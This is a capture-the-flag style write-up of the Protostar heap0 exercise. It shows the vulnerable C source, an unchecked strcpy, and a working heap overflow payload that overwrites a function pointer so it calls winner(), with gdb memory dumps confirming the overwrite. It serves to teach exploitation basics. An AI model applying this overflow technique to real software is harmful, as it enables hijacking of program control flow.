Protostar – heap0

Information

This level introduces heap overflows and how they can influence code flow.
This level is at /opt/protostar/bin/heap0

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}

Solution

This level introduces heap overflow. In the code, ‘d’ is allocated in the heap before ‘f’. It means that if I can overflow ‘d’, it overwrites ‘f’.
I need to find a vulnerability in the code. The error is easy to find :

strcpy(d->name, argv[1]);

The argument given to the program is copied in the variable ‘name’ without checking the size of the argument. I can overflow ‘name’.

First, let’s run the program with no argument :

$ ./heap0
data is at 0x804a008, fp is at 0x804a050
Segmentation fault

The program crashes as I didn’t give an argument. It gives me the memory location of ‘data’ and ‘fp’.
Now, I just need to know the len (distance) between them :

$ python -c 'print "%d" % (0x804a050-0x804a008)'
72

‘f’ is a structure which contains a pointer of function. I can overwrite this pointer. The goal is to overwrite this pointer so it points to the function winner()
I need the memory address of this function :

$ objdump -t ./heap0

./heap0:     file format elf32-i386

SYMBOL TABLE:
...
08048464 g     F .text	00000014              winner
...

Fine, the payload is now easy to create : len between ‘d’ and ‘f’ + winner() memory address :

$ ./heap0 $(python -c 'print "A"*72+"\x64\x84\x04\x08"')
data is at 0x804a008, fp is at 0x804a050
level passed

Let’s see what happens in the memory for more details :

$ gdb -q ./heap0
Reading symbols from /opt/protostar/bin/heap0...done.
(gdb) b *0x080484f2
Breakpoint 1 at 0x80484f2: file heap0/heap0.c, line 36.
(gdb) b *0x080484f7
Breakpoint 2 at 0x80484f7: file heap0/heap0.c, line 38.
(gdb) run $(python -c 'print "A"*72+"\x64\x84\x04\x08"')
Starting program: /opt/protostar/bin/heap0 $(python -c 'print "A"*72+"\x64\x84\x04\x08"')
data is at 0x804a008, fp is at 0x804a050

Breakpoint 1, 0x080484f2 in main (argc=2, argv=0xbffff794) at heap0/heap0.c:36
36	heap0/heap0.c: No such file or directory.
	in heap0/heap0.c

I place a breakpoint just before and after the call to strcpy()
Let’s see the heap :

(gdb) x/40x 0x804a000
0x804a000:	0x00000000	0x00000049	0x00000000	0x00000000
0x804a010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a020:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a040:	0x00000000	0x00000000	0x00000000	0x00000011
0x804a050:	0x08048478	0x00000000	0x00000000	0x00020fa9
0x804a060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a070:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a080:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a090:	0x00000000	0x00000000	0x00000000	0x00000000

This is the heap header of ‘d’
This is the place reserved for ‘name’
This is the heap header of ‘f’
This is the content of ‘f->fp’ which point to nowinner()

Let’s go to the next breakpoint :

(gdb) c
Continuing.

Breakpoint 2, main (argc=2, argv=0xbffff794) at heap0/heap0.c:38
38	in heap0/heap0.c
(gdb) x/40x 0x804a000
0x804a000:	0x00000000	0x00000049	0x41414141	0x41414141
0x804a010:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a020:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a030:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a040:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a050:	0x08048464	0x00000000	0x00000000	0x00020fa9
0x804a060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a070:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a080:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a090:	0x00000000	0x00000000	0x00000000	0x00000000

‘f->fp’ is now 0x08048464 (winner())

That’s it, heap0 is done.


Laisser un commentaire